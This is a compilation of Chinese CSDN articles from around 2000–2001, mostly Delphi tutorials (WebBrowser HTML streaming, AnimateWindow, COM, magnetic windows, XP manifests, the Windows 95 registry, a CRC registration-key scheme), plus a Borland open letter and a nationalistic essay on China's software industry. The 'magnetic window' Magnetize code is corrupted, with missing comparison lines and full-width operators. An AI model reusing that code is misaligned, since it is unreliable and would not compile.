end;
finally
Stream := nil;
end;
end;

---- 首先，此过程需要的两个参数，WebBrowser是显示目的控件，Html是需要显示的HTML源码；然后，先检查WebBrowser.Document对象是否有效，无效则退出；接着在系统全局堆里分配一块内存，将需要显示的HTML源码复制进去。这是因为下一步需要建立一个WebBrowser控件可以读取的流。GlobalAlloc函数的参数GPTR表示需要分配一块固定的以0初始化过的内存区域，如果分配失败则返回0，则通过RaiseLastWin32Error函数引发一个异常，提示用户；然后用CreateStreamOnHGlobal函数建立一个基于全局堆内存块的流，第二个参数如果为True则流在释放时自动释放所占全局堆内存。如果建立成功则此流和刚刚建立的内存块共用同一块内存区域。接着用WebBrowser.Document.QueryInterface函数建立一个IPersistStreamInit接口。然后就可以直接使用此接口，psi.InitNew初始化状态；psi.Load(Stream)从流中载入HTML源码。
---- 至此，以Html参数指定的HTML源码就在WebBrowser参数指定的控件中显示出来。

---- 值得注意的是，每个关于COM接口的函数调用，也就是那些返回类型为HResult的函数，都必须以OleCheck包装，因为一个不检查返回状态的COM接口操作实在太危险了；此外接口的释放，虽然Delphi可以在后台自动完成，但作为一个好的编程习惯，还是应该显式地手工释放，释放只需将接口设为nil即可。

---- 接着来实现HTML源码的读：

function GetHtml(const WebBrowser:
TWebBrowser): string;
const
BufSize = $10000;
var
Size: Int64;
Stream: IStream;
hHTMLText: HGLOBAL;
psi: IPersistStreamInit;
begin
if not Assigned(WebBrowser.Document) then Exit;

OleCheck(WebBrowser.Document.QueryInterface
(IPersistStreamInit, psi));
try
//OleCheck(psi.GetSizeMax(Size));
hHTMLText := GlobalAlloc(GPTR, BufSize);
if 0 = hHTMLText then RaiseLastWin32Error;

OleCheck(CreateStreamOnHGlobal(hHTMLText,
True, Stream));
try
OleCheck(psi.Save(Stream, False));

Size := StrLen(PChar(hHTMLText));
SetLength(Result, Size);
CopyMemory(PChar(Result), Pointer(hHTMLText),
Size);
finally
Stream := nil;
end;
finally
psi := nil;
end;
end;

---- 此函数有一个参数WebBrowser指定从那个控件读取HTML源码，返回一个字符串为此控件中的HTML源码。首先还是要先检查WebBrowser.Document对象是否有效，无效则退出；然后取得IPersistStreamInit接口；接着取得HTML源码的大小：本来应该使用IPersistStreamInit接口的GetSizeMax函数，但在我的机器上测试，这个函数范围值衡为0，无效。因此只能先定义一个足够大的缓冲区，如BufSize = $10000字节(注意此缓冲区应该足够大)；然后同样地分配全局堆内存块，建立流，然后将HTML文本写到流中。因为此HTML文本在流中是以#0结尾的字符串，因此可以用Size := StrLen(PChar(hHTMLText))取得实际长度，用SetLength(Result, Size);设置返回字符串长度为HTML源码实际长度，最后复制字符串到返回字符串中。
---- 至此，直接访问WebBrowser控件中的HTML源码所需的两个函数全部解析完毕。

---- 不过需要注意的时，在使用这两个函数前，最好对WebBrowser.Document对象进行初始化。下面提供一个函数，通过显示一个空白页面实现WebBrowser.Document对象初始化。

procedure ShowBlankPage(WebBrowser:
TWebBrowser);
var
URL: OleVariant;
begin
URL := 'about:blank';
WebBrowser.Navigate2(URL);
end;

---- 建议在你有WebBrowser控件的Form的FormCreate事件里调用此函数，初始化WebBrowser.Document对象。
---- 本文程序在Win NT + Delphi 5 环境下调试通过

---- 参考资料：MSDN
---- 特别感谢：白云黄鹤BBS(bbs.whnet.edu.cn)网友AngleFalls


CSDN_文档中心_直接在WebBrowser中显示字符串

//江雪 2001.06 http://asnowcn.at.china.com
//直接在WebBrowser中显示字符串
procedure ShowInWebBrowser(WebB:TWebBrowser;Str:String);
var
v: Variant;
HTMLDocument: IHTMLDocument2;
begin
HTMLDocument := WebB.Document as IHTMLDocument2;
if (assigned(HtmlDocument)) then begin
v := VarArrayCreate([0, 0], varVariant);
v[0] := str; //that is to be shown
HTMLDocument.Write(PSafeArray(TVarData(v).VArray));
HTMLDocument.Close;
end;
end;


CSDN_文档中心_制作动态效果的Form

How to make animateform .

do this esay,you need only one API.

unit AnimateForm_Unit;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
procedure FormShow(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
private
{ Private declarations }
public
{ Public declarations }
end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormShow(Sender: TObject);
begin
AnimateWindow(handle,500,AW_Center);
// AW_BLEND , AW_Center
// AW_VER_POSITIVE , AW_HOR_POSITIVE
// AW_HOR_NEGATIVE , AW_VER_NEGATIVE

//only Win2000,Win XP support AW_Blend value (alpha blend effect)
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
AnimateWindow(handle,500,AW_Center or AW_Hide or AW_BLEND);
end;

end.

Liu Yang 2001.9.3 ly_liuyang@21cn.edu.cn


CSDN_文档中心_制作简单的 COM 范例 (for Delphi)

制作简单的 COM 范例 (for Delphi)

一. 打开 Delphi 5.0 程序

二. 关闭所有单元

三. 单击“F ile”在菜单下的“N ew”子菜单，弹出“New Item”对话框，选择“ActiveX”下的“ActiveX Library”，单击“OK”。（此操作，创建一个“库工程”）

四. 把“此工程”另存为“ComProgramExaP”。

五. 单击“F ile”在菜单下的“N ew”子菜单，弹出“New Item”对话框，选择“ActiveX”下的“COM Object”，单击“OK”。（此操作，创建一个“COM 对象”）

弹出，“COM Object Wizard”对话框，

输入类（Class）名称—“z_ComProExaCLA”，单击“OK”。

弹出，“ComProgramExaP.Tlb”对话框，

选择“Iz_ComProExaCLA”,在此下面添加, “属性，方法”， 添加“方法1”—“z_MethodAdd”

给此“z_MethodAdd”方法，输入参数

刷新

参数完成，单击刷新。

添加，方法的内容，

方法内容

最后，给COM 注册，

注册

六. 制作结束。

应用（for Delphi）

一. 新建一个工程

二. 加入界面

三. 单击“P roject”在菜单下的“Import Type Library”子菜单，弹出“Import Type Library”对话框，选中“ComProgramExaP Library”,单击“Create Unit”按钮。

四. “uses ComProgramExaP_TLB;”单元

五. 制作应用程序

应用程序

六. 结果展示

应用（for VB）

七. 新建一个工程

八. 加入界面

九. 单击“P roject”在菜单下的“references”子菜单，弹出“references-project1.vbp”对话框，选中“ComProgramExaP Library”,单击“OK”按钮。

十. 制作应用程序

Private Sub Command1_Click()

类接口(不能声明工程)

 ' 声明-< Com 接口 >-变量

Dim z_comTest As New z_ComProExaCLA

Dim a, b As Integer

' 应用

a = Text1

b = Text2

Text3 = z_comTest.z_MethodAdd(a, b)

End Sub

十一. 结果展示


CSDN_文档中心_制作类似WinAmp一样的“磁性”窗口

制作类似WinAmp一样的“磁性”窗口
矢名

摘　要：Winamp的用户都知道，Winamp的播放列表或均衡器在被移动的时候，仿佛会受到一股磁力，每当靠近主窗口时就一下子被“吸附”过去，自动沿边对齐。
关键字：“磁性”窗口
类　别：用户界面

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

Winamp的用户都知道，Winamp的播放列表或均衡器在被移动的时候，仿佛会受到一股磁力，每当靠近主窗口时就一下子被“吸附”过去，自动沿边对齐。我想让我的Winamp插件也具备这种奇妙特性，于是琢磨出了一种“磁化”窗口的方法。该法适用于Delphi的各个版本。为了演示这种技术，请随我来制作一个会被Winamp“吸引”的样板程序。
    先新建一应用程序项目，把主窗口Form1适当改小些，并将BorderStyle设为bsNone。放一个按钮元件，双击它并在OnClick事件中写“Close;”。待会儿就按它来结束程序。现在切换到代码编辑区，定义几个全局变量。
    var
     Form1: TForm1; //“磁性”窗口
     LastX, LastY: Integer; //记录前一次的坐标
     WinampRect:TRect; //保存Winamp窗口的矩形区域
     hwnd_Winamp:HWND; //Winamp窗口的控制句柄
    接着编写Form1的OnMouseDown和OnMouseMove事件。
    procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
     Shift: TShiftState; X, Y: Integer);
    const
     ClassName=‘Winamp v1.x’; //Winamp主窗口的类名
     //如果改成ClassName=‘TAppBuilder’，你就会发现连Delphi也有引力啦！
    begin
    //记录当前坐标
    LastX := X;
    LastY := Y;
    //查找Winamp
    hwnd_Winamp := FindWindow(ClassName,nil);
    if hwnd_Winamp>0 then //找到的话，记录其窗口区域
    GetWindowRect(hwnd_Winamp, WinampRect);
    end;
    procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
     Y: Integer);
    var
     nLeft,nTop:integer; //记录新位置的临时变量
    begin
    //检查鼠标左键是否按下
     if HiWord(GetAsyncKeyState(VK_LBUTTON)) > 0 then
     begin
     //计算新坐标
     nleft := Left ＋ X － LastX;
     nTop := Top ＋ Y － LastY;
     //如果找到Winamp，就修正以上坐标，产生“磁化”效果
     if hwnd_Winamp>0 then
     Magnetize(nleft,ntop);
     //重设窗口位置
     SetBounds(nLeft,nTop,width,height);
     end;
    end;
    别急着，看Magnetize()过程，先来了解一下修正坐标的原理。根据对Winamp实现效果的观察，我斗胆给所谓“磁化”下一个简单的定义，就是“在原窗口与目标窗口接近到某种预定程度，通过修正原窗口的坐标，使两窗口处于同一平面且具有公共边的过程”。依此定义，我设计了以下的“磁化”步骤。第一步，判断目标窗口(即Winamp)和我们的Form1在水平及垂直方向上的投影线是否重叠。“某方向投影线有重叠”是“需要进行坐标修正”的必要非充分条件。判断依据是两投影线段最右与最左边界的差减去它们宽度和的值的正负。第二步，判断两窗口对应边界是否靠得足够近了。肯定的话就让它们合拢。
    好了，下面便是“神秘”的Magnetize过程了……
    procedure TForm1.Magnetize(var nl,nt:integer);
     //内嵌两个比大小的函数
     function Min(a,b:integer):integer;
     begin
     if a>b then result:=b else result:=a;
     end;
     function Max(a,b:integer):integer;
     begin
     if a 　　 end;
    var
     H_Overlapped,V_Overlapped:boolean; //记录投影线是否重叠
     tw,ww,wh:integer; //临时变量
    const
     MagneticForce:integer=50; //“磁力”的大小。
     //准确的说，就是控制窗口边缘至多相距多少像素时需要修正坐标
     //为了演示，这里用一个比较夸张的数字——50。
     //一般可以用20左右，那样比较接近Winamp的效果
    begin
    //判断水平方向是否有重叠投影
    ww := WinampRect.Right－WinampRect.Left;
    tw := Max(WinampRect.Right,nl＋Width)－Min(WinampRect.Left,nl);
    H_Overlapped := tw<=(Width＋ww);
    //再判断垂直方向
    wh := WinampRect.Bottom－WinampRect.Top;
    tw := Max(WinampRect.Bottom,nt＋Height)－Min(WinampRect.Top,nt);
    V_Overlapped := tw<=(Height＋wh);
    //足够接近的话就调整坐标
    if H_Overlapped then
     begin
     if Abs(WinampRect.Bottom－nt)
else if Abs(nt＋Height－WinampRect.Top)
end;
    if V_Overlapped then
     begin
     if Abs(WinampRect.Right－nl)
else if Abs(nl＋Width－WinampRect.Left)
end;
    end;
    怎么样？运行后效果不错吧！

我设计的一个卡拉OK插件就应用了这种技术，你可以到http://www.lotof.com/lyrics去下载它作为参考
投稿人：su30　投稿日期：2001-7-30 9:44:00


CSDN_文档中心_致Delphi和C++Builder社群的一封公开信

2000-08-16

致Delphi和C++Builder社群的一封公开信

首先感谢你们支持和帮助我们建立围绕Delphi和C++Builder的强大社群。这是一封告诉你们关于我们至今的发展和未来计划的公开信。

作为应用程序开发者，你们已目睹了许多平台之战。各供应商之间展开激烈的竞争以让你们采用他们的操作系统，他们的数据库以及他们的分布式计算平台。这些不断变化的平台标准每一天都继续以愈加让人目眩的速度围绕着你们，使你们犹如置身于漩涡之中。

Borland 并没有平台方面的计划。在这个充满标准之争的世界里，我们的目标就是保护你们不限于特定的供应商和平台。作为一个使用Borland 工具的开发者，你们已处在了利用任何平台的优点来解决你们的客户或最终用户的问题的最佳位置。Internet 就是未来，而Internet 并没有平台方面的计划。（译注：即不局限于某特定平台）

我们的承诺言简意赅。你们，Delphi 和C++Builder开发者，交付给你们的客户与最终用户的应用程序，能利用大多数最重要的平台标准的优点。使用Delphi 和C++Builder 你们将把注意力集中于解决应用问题，而我们则集中于打破平台与技术之间的隔阂。Delphi 和C++Builder开发者将是最快速的开发者，而他们开发的应用程序将具有最好的性能。

作为一个开发者，你们要解决不同的问题。为了解决这些问题，你需要能为你们、你们的客户和你们的最终用户大幅节约时间，提高效益的开发工具。在过去的一年里，我们再三承诺，努力为你们提供最高品质的开发工具，这些开发工具可以使你们，开发者，开发的速度更快，并且开发的应用程序性能最好。

去年我们发布了 Delphi 5 。在这个版本中，我们在Delphi功能强大的基础上给予你们Internet开发的最高生产力。我们加强并扩展了那些对你们来说很重要领域，如分布式计算，数据库以及桌面应用开发。

今年早些时候，我们发布了 C++Builder 5。 C++Builder 5是到目前为止最具革命性的针对Internet的C和C++开发工具。通过C++Builder的高性能编译器，革命性的可视化开发环境以及对于最新Web标准的支持，你们将可以在创纪录的时间内交付Internet应用程序。

我们扩展了我们的C++语言支持以为你们提供一个和ANSI标准高度一致的编译器。为了扩大C++ Builder社区的范围，我们使这个世界级的高性能编译器可以从网上免费下载。这得到了大家的压倒性的正面响应。已有超过500,000 的开发者下载了这个编译器。

从你们的评论，电子邮件和新闻组投寄中，你们已非常清楚地表明你们需要在其他平台上的像Delphi 和C++Builder 一样的开发工具，首先和最重要的就是在Linux平台上。因此，我们建立了Kylix项目，这个项目为Linux操作系统提供跨平台的，提高开发者生产力的，应用程序具有与Delphi和C++Builder的应用程序执行性能一样的开发环境。

Kylix项目将成为第一个建造原生编译的Linux应用程序的快速开发工具(RAD)。Kylix就是Linux版的Delphi和C++Builder。今年，我们将给你们提供Linux版的Delphi，接着，明年就为你们提供Linux版的C++Builder。

今年三月，我们发起了Kylix Kick-Start 活动，该活动是向第三方的工具和组件创作者，书籍作者和培训人员展示Kylix早期的预览。Kick-Start 活动在全球巡展，并给了我们非常好的反馈，促进了我们的开发。第三方Delphi和C++ Builder社区的需求是非常强烈的。这对于你们的好处就是，Kylix发布后很快你就们可以获得强大的基础设施，包括工具，组件，书籍和培训课程。

Delphi和C++ Builder的前途是光明的。我们非常高兴知道你们的想法。请将你们的评论发送给我们。

我们总是在寻找更多的方法来让你们帮助我们更好地理解你们的需要。最近，我们投放了一份Delphi调查和一个叫VCL Scanner的工具。我们希望你们花上几分钟时间来做出你们的响应，因为这份调查收集的信息将是帮助我们调整未来开发进程的无价之宝。

Delphi网上调查位于:
http://www.borland.com/delphi/survey/aug2000/

Delphi与C++Builder 的VCL使用分析工具VCL Scanner 位于：
http://www.borland.com/vcl_scanner/

我们知道你们中的许多人正用Delphi和C++ Builder建造一些非常复杂的Internet，数据库和桌面应用程序。我们衷心地想知道你们的成功。让我们知道吧，这样我们就可以和社区中的其他成员分享这些成功的故事。

我们的公司现在处于极好的状态。在财力上和技术上，我们都已准备好迎接下一个成长期。

通过Delphi，C++ Builder和今年晚些时候推出的Kylix，Borland RAD 团体现处于极佳的状态。我们致力于为你们提供你们需要的开发工具，以使你们成为高性能的开发者；我们致力于这些工具的市场营销并拓展我们的业务。

代表Borland RAD 团队
感谢你们对Delphi和C++Builder的支持。

Simon Thornhill
Borland副总裁兼总经理

www.delphidevelopers.com


CSDN_文档中心_致中国程序员和所有关注中国软件发展的人们

致中国程序员和所有关注中国软件发展的人们

当您走进肯德基或麦当劳，端着托盘等待其他顾客让出座位的时候，您是否感叹过：何时能在美国的一家中国快餐店等待老美们给自己让座。

当我们打开计算机，迎面飘动的是并不好看的条形旗，您是否曾梦想过某一天互联网上到处飘扬的是五星红旗。

当各种媒体上竞相谈论的引领世界潮流的都是IBM、英特尔、微软等公司时，您是否曾大声呼唤："中国公司，您在哪里？！"

……

我不是一个狭隘的民族主义者，但是公平只有在实力相当的情况下才能实现。一个人的弱小最多不过是一个人的忍讥挨饿，而一个民族的弱小却是数十亿人的"饥寒交迫"。

所以，我有一个梦想：

我梦想中华民族能再现大唐盛世的辉煌；

我梦想财富论坛的主角能多几个中国人；

我梦想我们的网络公司不再需要到美国的纳斯达克上市才能似乎有生存发展的可能。 我梦想我们的孩子不再需要打上出洋留学的背景才能使中国的其他人另眼相看。

……

您有梦想吗？我们的程序员和所有关注中国软件发展的人们。

您肯定是有的，您梦想您的产品将象微软的windows一样被装在每一台电脑上被人们使用。

于是您通宵达旦的编织着自己的梦。

于是您把您的呕心沥血之作放在《中国共享软件》上让人们随意下载。

于是您发现您的产品并不尽人意，还有许多许多值得改进完善的地方。

于是您继续啃着面包，熬着双眼，一个版本又一个版本地推陈出新。

于是您发现该做的工作越来越多，而您的面包却越来越小。

于是您开始找风险资金，到处游说您的产品的广阔前景。但是当西装革履的"大款"们很奇怪地从头到脚细细打量了一下"头发篷乱、衣衫不整"的您时，好像见了个乞丐似的，然后很恐怖的绕开了。

于是您很天真地找到那些"大官"们，象一个小学生一样毕恭毕敬的背诵着软件产业对一个国家的重要性以及你对于国家振兴的坚持不懈的努力，然后怯生生的请求能不能从某某基金中挤一点出来扶持扶持一下？"大官"们侧着耳朵细心的听着，好象听着一个很古老很古老的故事，当一听到"金"字时，本能地把手伸出来，可是接下来的"扶持扶持"让那只手很优雅地向上划了一条弧线，然后轻轻地落在你的肩上："年轻人，你的爱国热情令人深深感动呀，但是嘛，不是有了技术就可以成事的，还要社会经验，知道吗？经验！懂吗？"你自然不太懂那些经验。

于是您对产品作了最后的处理，然后向全世界宣布：请为我默哀三秒钟，我要"阵亡"了。

历史总是何其的相似。当日本帝国主义侵略中国时，多少英雄豪杰拍案而起，赤膊上阵，最后都悲壮的倒在鬼子们的屠刀之下。

今天，软件产业同样的遭遇到强敌压境：微软，甲古文，ＣＡ，ＡＤＯＢＥ……。单单靠用友、金蝶、金山、方正、科利华等为数不多的相比之下却势单力薄的国内"软件巨头"能抵挡住象潮水般涌来的体积数倍于自己的"敌人"吗？

不能，我们必须不断奋斗！ 但是：

看一看，经过多年的奋斗，市面上有多少有分量的产品是我们自己开发的。

听一听，有多少三五个人创业，辛辛苦苦弄出一个产品，临到最后却不得不关门大吉的故事。

鲁迅先生说过，不要做无谓的牺牲。 然而我们就此举手投降，甘当"亡国奴"吗？ 鲁迅先生也说过，要讲究方法。

那么，路究竟在哪里？

《国际歌》中唱道："不靠天，不靠地，不靠神仙皇帝，一切只有靠自己。"是呀，不要寄希望于那些"大款"，也不要寄希望于那些"大官"，说来说去还得寄希望于我们这些穷哥们自己。

我们姑且抛开一切政治观念的是是非非，来分析一下毛泽东领导的人民军队，因为他们用小米加步枪战胜了日本的坦克加碉堡，打垮了国民党的飞机加大炮，取得了最终的胜利，所以真的有必要分析一下。 首先，他要一支过硬的队伍。这支队伍有组织，有组织就会将不同的力量协调到一个方向，因此组织的力量是不可想象的；这个队伍的每个成员都非常刻苦用功，因此个个都是身手不凡的英雄好汉；这个队伍的成员又特别敬业，过草地，翻雪山，急行军，攻难关，不怕苦，舍得拼。真是一只了不起的队伍。

第二，有广泛的群众基础，这只军队与老百姓建立成一种利益共同体。军队打仗，为老百姓获得土地，老百姓在土地上结出果实又供给军队，军队于是又给老百姓打下更多土地，老百姓又能种出更多的果实，军队于是会更加壮大。在这种良性循环下，在几乎一无所有的情况下却最终战领了960万平方公里的土地。

我们今天面临着与毛泽东当年同样的处境，我们面对的是异常强大的敌人而我们自己却非常的弱小，我们没有资金，没有很好的环境。然而，我们都必须打赢这场战争，因为失败就意味着"亡国"。

所以，我们必须有一支，不，是许许多多支过硬的软件开发队伍。我们再也不能一个人"赤膊上阵"，既当建筑设计师，又当搬运工，又当泥水匠的作坊式的开发方法了，这种方法造一个小屋还可以，但是要建成一座大厦，那是万万不可能的事情。我们是在搞软件产业，就像毛泽东说的："我们是在干革命，不是在绣花。"所以，单凭个人的兴趣是做不成什么民族软件产业的。

第二，光有队伍是不行的。队伍要吃饭，要发展壮大，开发出的产品就必须要有回报。如果生产大批光盘，做上精美的包装，辅之以铺天盖地的广告，再通过连锁店讨价还价的卖出去，这不是一条适合中国国情的软件发展之道。①需要巨额投资；②容易被盗版，而且没办法约束；③一个专卖店要卖很多产品，不可能很周到的服务于顾客，而用户的反馈意见也不能立刻传递给生产商，即使传递给生产商，也不能立刻转化为产品送到用户的手中，因为传递渠道是基于原子的，而不是基于比特的。如果作为共享软件免费下载，希望通过在软件上拉广告赞助的方式也不是一条适合国情的软件发展之道。广告毕竟是一个很狭小的来源空间，这个空间已经有很多的群体在瓜分：报纸、杂志、电视、电台、网站等等。软件并不是一种很好的广告载体。可能有几个成功的范例，但绝不能当成一条普遍有效的方法。如果采用软件注册的方法更不适合中国国情，中国人还不习惯于对已经到手的东西再付出点什么，FOXMAIL就是一个明显的例子。那么怎么办呢？我们唯一的出路就是走"群众路线"，团结，团结，再团结。让全中国程序员和电脑爱好者们联合起来，地不分东西南北，人不分党派我见，共同来开发产品，共同来做市场：每个人所思之处，便是我们产品的诞生之处；每个人所到之处，就是我们的产品延伸之处。让鬼子们陷入人民战争的汪洋大海中，能不能胜？一定能胜。我们那么多的程序员，我们有那么多的电脑爱好者。你们把时间都花在聊天室聊一些无聊的东西，上色情网站看一些无聊的黄色小说或图片。为什么不把这些时间用来下载几套软件并把软件仔细研究，弄懂后去推销给用户，并为用户做好服务呢？所以，全中国的程序员和电脑爱好者联合起来共同来做这个市场，这将是一个什么样的效果？不需要广告，只需要亲自的演示和讲解，这样的效果将远远胜过中央电视台每晚黄金时间的广告。

同时，用户的反馈意见也能迅速地通过您们反馈回来。软件升级后又迅速地通过互联网下载给顾客的手中。这样我们，你们，用户就形成一个利益共同体。 同时我们要不断的推出各种具有实用创新的产品，我们要充分占领市场。但是光光依靠几个人躲在机房里冥思苦想就能创造出更多更新的产品吗？不能！没有市场需求的产品就象温室的花朵，好看而不中用。所以当你们与客户接触，你们将产生出别人想不到的产品。是的，个人的智慧是有限的，集体的智慧并且是从实践中产生的智慧才是无限的。

因此,我总结出一条适合中国国情的民族软件产业发展之路:过硬的软件开发队伍+分布各地的程序员和电脑爱好者(软件使者和软件火花的诞生者)+用户。这是不是新时代的"人海战术"？这个战术可以节约前期支付的巨额资金；这个战术利用互联网将开发者、代理者、用户紧密的联系在一起；这个战术可以集思广义，不断的创造更多更新的产品。因此这个战术将不断推进中国软件业的发展。

我特发出如下的倡议： 全中国的程序员和所有关注中国软件发展的人们，大家联合起来，共同来把中国的软件产业发展壮大。

您的梦，我的梦，他的梦，中国梦，必然会有实现的一天。


CSDN_文档中心_终于可以不用任何控件作出XP风格的程序了

1．建立一个叫themed.manifest的文本文件
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
manifestVersion="1.0">
<assemblyIdentity
name="Your.Application.Name.Here"
processorArchitecture="x86"
version="1.0.0.0"
type="win32"/>
<description>WindowsXP Shell</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
</assembly>

2．再建立一个资源文件 就叫 XPStyle.RC吧！内容如下：
1 24 “themed.manifest”
用Brcc32 编译成XPStyle.RES

3. 在Delphi(2~6)中包含这个资源文件就可以了！在哪里包含？!@#$%^& 我倒！

注意：这只在WindowsXP下可以,在旧的操作系统上,外观不变！你就放心的加上吧！万一有人在XP下运行你的程序呢？嗬嗬！

转载请保留文章完整性! Writen By Dext!^_^


CSDN_文档中心_注册表数据库Registry

在本文中，我们通过注册表编辑工具REGEDIT讨论一下Windows 95的注册表配置数据库Registry的层次结构、组成、配置、使用及维护等方面的技巧。

一、注册表数据库Registry层次结构

Windows 95在安全可靠方面较Windows 3.x优越，一个重要表现就是，采用了注册表数据库Registry。该数据库以分层格式存储配置，将所有INI文件包括在Registry中，这样，便于简化管理，使网络管理员易于在Windows 95中使用管理工具提供本地或远程服务。

1 Registry与Windows 95之间的关系

要讨论Registry与Windows 95之间的关系，我们可以概括为图1。

下面详细解释图1之间的关系。

Windows 95的各个组件以下述方法使用注册表数据库Registry。

(1)硬件数据(NTDETECT)

启动Windows 95时，Registry接收易失硬件配置数据－计算机检测到的硬件信息。

(2)Windows 95内核(950SKRNL)

在Windows 95启动期间，Windows 95内核从Registry中选取信息，包括要装入什么设备驱动程序，以及用什么次序装入，内核传回它自身的信息，例如版权号等。

(3)设备驱动程序

设备驱动程序也向Registry传送数据，并从Registry接收装入和配置参数。性能良好的设备驱动程序告诉Registry，它在使用什么系统资源，例如，硬件中断或DMA通道等。

另外，设备驱动程序还报告所发现的配置数据。

(4)管理/配置工具

Windows 95还提供了大量其他接口，允许用户修改系统配置数据，例如控制面板、设置程序等。

(5)设置程序

在应用程序或硬件运行Windows 95中文版的设置程序或其他设置程序时，程序可以对Registry增加新的配置数据。

(6)Win16应用程序

Windows 95为了与一些应用程序和相关工具兼容，也支持INI文件。

因为一些应用程序，特别是16位Windows应用程序，在现阶段仍将继续使用INI文件。AUTOEXECBAT和CONFIGSYS文件也将存在，以提供对MS DOS和Windows 3.x应用程序的兼容性。当安装一个基于Windows 3.x的应用程序时，应用程序的安装程序Setup像在Windows中一样，创建它自己的INI文件或在WININI或SYSTEMINI文件中创建入口。例如，中文Word 6.0在Windows 95中文版中安装时，将在WININI文件中修改[embedding]小节。

但是，这些入口不能在Registry中升级，因为这些应用程序不知道如何访问Registry。因此，基本的SYSTEMINI、WININI和WINFILEINI文件仍放在Windows 95系统目录中。

2注册表数据库Registry的层次结构

注册表数据库Registry的层次结构类似于硬盘中的目录树，我们可参见图2。

表1是对上图中的层次结构的解释。

3 Registry与INI文件之间的关系

Registry与Windows 95中的INI文件有许多相似之处。关键字类似于INI文件中的小节，一个值项对应于INI文件中小节里的一条设置项。然而，Registry可以包括次关键字，而INI文件不支持小节的嵌套。

Registry中的值项还可以包含可执行代码，而在INI文件中设置项只是简单的串。

在同一台计算机上有多个用户，Registry可以存储每个用户的特性，而INI文件中却不可能。

二、注册表数据库Registry的组成

我们知道，在Windows 3.x中，提供了一个登录配置数据库REGDAT，它一般是一个二进制文件，它可用REGEDIT程序来维护。REGDAT是一个十分软弱的数据文件，在Windows 3.x中增加或删除OLE应用程序时，经常受到破坏。

Windows 95改变了Windows 3.x的做法，采用了一种强大的注册表数据库Registry，它要比REGDAT更为可靠。

其实，注册表数据库Registry是由六个文件组成的。本节将要介绍这六个文件及其含义。

1系统配置注册表文件SYSTEMDAT

在Windows 95的系统目录中，有一个隐含、系统、只读文件SYSTEMDAT，它是Windows 95注册表数据库的一部分，该文件具有如下作用：

·描述单一的PC配置；

·描述安装在一单独PC上的消息；

·安装即插即用类型的设备硬件配置，如设备的I/O地址、IRQ级和DMA通道等。该文件的作用有点类似SYSTEMINI文件。

该文件在Windows 95的网络运行状态时，保存在本地的工作站或本地PC机中。

在Windows 95安装期间，SETUP将检查你的计算机上已安装的硬件，然后在SYSTEMDAT中建立适当的配置项。若从现有的Windows 3.x中安装Windows 95，则SETUP将把现有的SYSTEMINI、REGDAT文件中的项拷贝到SYSTEMDAT中。

在你使用控制面板的“系统”功能查看硬件配置时，窗口中所显示的项都是从SYSTEMDAT中读取的。

2系统配置注册表备份文件SYSTEMDAO

Windows


CSDN_文档中心_注册机制

现在，我有时间去关注软件盗版问题，我将描述一下我的注册方法，希望对你有所帮助。

几年以来，我有过许多的方案，有的简单，有的复杂，其目的都是为了防止软件的非法使用。这些方法包括两种：硬件方法和软件方法。
硬件方法一般是使用并口设备（软件狗）或是不标准的软盘（加密盘）。但我还是喜欢软件的方法！

当然，有很多方法提供注册保护，例如购买第三方保护软件，但是我想尝试开发自己的方法，因为我想弄清楚这个问题。

在讨论之前，我略微提一下我以前使用过的方法。

最稳妥和最不安全的办法是提供两种版本：试用版和完整版。当用户注册了你的软件之后，他们就得到一个URL去下载完整版本。完整版
是没有任何限制的，所以软件是否被非法使用就完全依赖于用户的诚实，唯一的约束就是只用注册用户才能得到技术支持。我不使用这
种方法，因为周围有太多的不诚实的用户，会造成注册量太少。

下一个方法是提供用户一个由用户名生成的注册码（公司名可选）。现在软件可以为注册用户使用了。用户可以把软件给其他人使用，
但用户名和公司名是无法修改的。

最后是上一个方法的改良。注册码还是基于版本号，用户可以继续使用老的注册码来进行小的升级，但版本的大改动就需要用户重新注册
了。当然你可以不要用户为版本的升级付费，但这是一个可以选择的方案。

我的办法是在报表上打印和在屏幕上显示最后的用户名和公司名，在证券公司，发票上有程序所打印的公司名，这样即使非法用户有我的
程序，他也无法使用。

现在，问题变成：生成一个基于字符串的唯一值，只要串发生改变，就会引起代码运算出一个不同的值。

解决的办法是使用程序名、用户名、公司名以及版本号作为运算字符串。如果没有输入公司名，就用缺省值代替，这样做的问题是会引起
程序含混。

我是一个电子工程师，在通讯行业里需要一种方法来确定传输的数据是无误的，一般的方法就是CRC。CRC已经使用了20年，我不知道CRC
出现的确切时间，但我知道它一直工作的很好。如果你想知道更多的CRC知识，请参考'A PAINLESS GUIDE TO CRC ERROR DETECTION
ALGORITHMS'，作者：Ross N. Williams，下载地址：http://www.ross.net。

因此我使用32位的CRC算法得出8位的注册码，有个问题：如果用于运算的字符串没有进行任何的加密就太简单了。所以我使用Delphi的加
密过程加密一下字符串，然后用于运算的字符串就足够复杂了。

我没有做完全的测试，只做了局部的测试，但我保证代码是有效的，特别要提醒的是：CRC结构是基于polynomial modulo算法的，不要修
改它。

我可能很苯，但我不傻:)。下面的代码不是我所使用的，但这些代码很好的演示了我的注册方法是如何工作的。

现在，让我们看看代码。

请注意：我使用了前缀（CamelCase(sic)），以下是定义：

c : 字符型
n : 数字
d : 数据
t : 日期/时间
y : 流通
l : 逻辑型

参数范围：
p : 参数
g : 全局变量

其它的都符合以上规则。

所有的函数和过程都以'SSL'为前缀，以避免与其他函数和过程重名。这个前缀已在Delphi Prefix Register注册。

unit Registration;

{------------------------------------------------------------------------------}
interface

uses
SysUtils;

function Mod95(pnVal : Integer): Integer; forward;

function SSLEncode(pcName: String; pcCompany: String; pcAppTitle: String; pcMajor: String): String; forward;

